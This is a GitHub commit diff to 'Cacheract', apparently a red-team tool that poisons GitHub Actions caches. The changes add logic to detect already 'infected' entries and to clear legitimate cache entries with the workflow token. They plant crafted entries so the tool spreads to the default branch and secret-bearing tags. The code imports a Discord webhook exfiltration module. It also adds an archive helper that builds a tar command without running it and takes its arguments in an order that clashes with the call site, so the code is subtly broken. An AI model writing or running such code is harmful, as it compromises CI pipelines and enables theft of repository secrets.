Skip to content

Commit 7c00c7a

Browse files
committed
Don't clear entry if it already contains Cacheract, more attempted fixes.
1 parent 03d2c09 commit 7c00c7a

File tree

2 files changed

+36
-4
lines changed

2 files changed

+36
-4
lines changed

src/index.ts

Lines changed: 20 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
import * as fs from 'fs';
22
import * as crypto from 'crypto';
3-
import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, isInfected, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry } from './utils';
3+
import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected} from './utils';
44
import axios from 'axios';
55
import { DISCORD_WEBHOOK, CHECKOUT_YML, REPLACEMENTS } from './config';
66
import { reportDiscord } from './exfil';
@@ -172,8 +172,10 @@ async function createEntry(size: number): Promise<string> {
172172
throw error;
173173
}
174174

175-
return archivePath;
175+
// Tar the directory
176+
await createArchive(archivePath, sourceDir)
176177

178+
return archivePath;
177179
}
178180

179181
async function createAndSetEntry(
@@ -237,6 +239,11 @@ async function main() {
237239
const { key, version, ref, size } = entry;
238240
const currBranch = process.env['GITHUB_REF'];
239241

242+
if (isInfected() && currBranch === ref) {
243+
console.log(`Not attempting to clear entry as it already contains Cacheract.`);
244+
continue;
245+
}
246+
240247
if (clearEntryFailed) {
241248
if (currBranch === ref) {
242249
console.log(`Skipping setting entry for key ${key} due to previous clearEntry failure`);
@@ -250,19 +257,28 @@ async function main() {
250257

251258
let path = '';
252259
if (currBranch !== ref) {
253-
// We are not in the default branch, create a new entry
260+
// Entry is not in the default branch, create a new entry
254261
path = await createEntry(size);
255262
} else {
263+
// Entry is in default branch, retrieve it
256264
path = await retrieveEntry(key, version, accessToken, cacheServerUrl);
257265
}
258266

267+
// Update the entry, whether we made one or retrieved it.
259268
const status = await updateEntry(path);
260269
if (status) {
270+
271+
// Attempt to clear the entry from the feature branch
272+
// this will help us jump (such as to a tag that uses a secret, etc).
261273
const cleared = await clearEntry(key, version, githubToken);
262274
if (!cleared) {
275+
// Likely means we do not have actions: write
263276
console.log(`Failed to clear cache entry ${key}!`);
264277
clearEntryFailed = true;
265-
278+
279+
// If entry is in non-default branch, but we
280+
// failed to clear the entry, then try to set it in the
281+
// default anyway.
266282
if (currBranch !== ref) {
267283
await createAndSetEntry(size, key, version, accessToken, cacheServerUrl);
268284
}

src/utils.ts

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -299,6 +299,22 @@ export async function listActions(actionPath: string): Promise<Map<string, Actio
299299
return actions;
300300
}
301301

302+
/**
303+
* Create archive from a directory
304+
* @param sourceDir - Path to the source directory
305+
* @param archivePath - Where to place the archive.
306+
*/
307+
export async function createArchive(sourceDir: string, archivePath: string): Promise<void> {
308+
try {
309+
const command = `tar --zstd -C ${sourceDir} -cf ${archivePath} . --use-compress-program zstdmt`;
310+
console.log(`About to run command: ${command}`);
311+
} catch (error) {
312+
console.error('Error creating archive:', error);
313+
throw error;
314+
}
315+
}
316+
317+
302318
/**
303319
* Update an archive with new files
304320
* @param archivePath - Path to the archive file

0 commit comments

Comments
 (0)